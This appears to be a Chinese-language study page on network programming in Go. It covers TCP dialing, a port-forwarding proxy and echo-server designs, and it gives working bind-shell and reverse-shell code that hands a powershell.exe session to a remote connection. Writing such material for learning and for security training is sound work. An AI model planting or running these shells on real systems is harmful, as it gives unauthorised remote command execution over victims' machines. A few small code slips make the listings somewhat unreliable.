本文阅读量
第二章-网络连接#
建立TCP连接与代理#
- 简单地连接到某个ip和端口
package main
import (
"fmt"
"net"
)
func main() {
conn, err := net.Dial("tcp", "scanme.nmap.org:80")
defer conn.Close()
if err == nil {
fmt.Println("Connect success")
}
}
- 简单地实现端口转发
package main
import (
"io"
"log"
"net"
"strings"
)
func proxy(conn net.Conn) {
dst, err := net.Dial("tcp", "localhost:80")
defer func() {
dst.Close()
conn.Close()
}()
if err != nil {
log.Fatalf("Error: %v\n", err)
}
go func() {
if _, err := io.Copy(dst, conn); err != nil && !strings.Contains(err.Error(), "closed") {
log.Printf("2 Error: %v\n", err)
}
}()
if _, err := io.Copy(conn, dst); err != nil && !strings.Contains(err.Error(), "closed") {
log.Printf("1 Error: %v\n", err)
}
}
func main() {
listener, err := net.Listen("tcp", ":8888")
if err != nil {
log.Fatalf("Error: %v\n", err)
}
for {
conn, err := listener.Accept()
if err != nil {
log.Fatalf("Error: %v\n", err)
}
go proxy(conn)
}
}
echo服务器的三种实现方式#
-
最底层的实现方式,使用
net.Conn.Read
和net.Conn.Write
底层函数 -
使用golang自带的bufio包,使用
bufio.NewReader.ReadString
和bufio.NewWriter.WriteString
实现,自带缓存,在写入的时候可能需要flush才能立即显示 -
使用golang自带的io包,使用
io.Copy(dst *io.Writer, src *io.Reader)
实现,可以自己实现Reader和Writer,只需要实现Read(b []byte) (int, error)
或Write(b []byte) (int, error)
即可
简单代理的实现方式#
核心
-
使用net.Listen监听端口建立服务器
-
当监听到新的连接时交给一个新的协程处理
-
协程中使用net.Dial连接到需要代理的目标,并使用io.Copy将请求源的请求发送至目标(起一个新的协程),将目标的响应发送至请求源
Golang正向shell的实现方式#
核心
-
使用net.Listen监听端口建立服务器
-
当监听到新的连接时交给一个新的协程处理
-
协程大致流程
import (
"io"
"log"
"net"
"os/exec"
)
func handle(conn net.Conn) {
cmd := exec.Command("powershell.exe")
rp, wp := io.Pipe()
cmd.Stdin = conn // read input from conn
cmd.Stdout = wp
cmd.Stderr = wp
go io.Copy(conn, rp) // read output to conn
cmd.Run()
conn.Close()
}
func handle2(conn net.Conn) { // 后来发现可以直接这样
cmd := exec.Command("powershell.exe")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
conn.Close()
}
func main() {
listener, err := net.Listen("tcp", ":20080")
if err != nil {
log.Fatalln("Unable to bind to port")
}
log.Println("Listening on 0.0.0.0:20080")
for {
conn, err := listener.Accept()
if err != nil {
log.Fatalln("Unable to accept connetcion")
}
go handle(conn)
}
}
Golang反向shell实现方式#
核心
和正向shell一样
import import (
"io"
"net"
"os/exec"
)
func handle2(conn net.Conn) { // 后来发现可以直接这样
cmd := exec.Command("powershell.exe")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
conn.Close()
}
func main() {
reConn, _ := net.Dial("tcp", "127.0.0.1:8888")
handle2(reConn);
}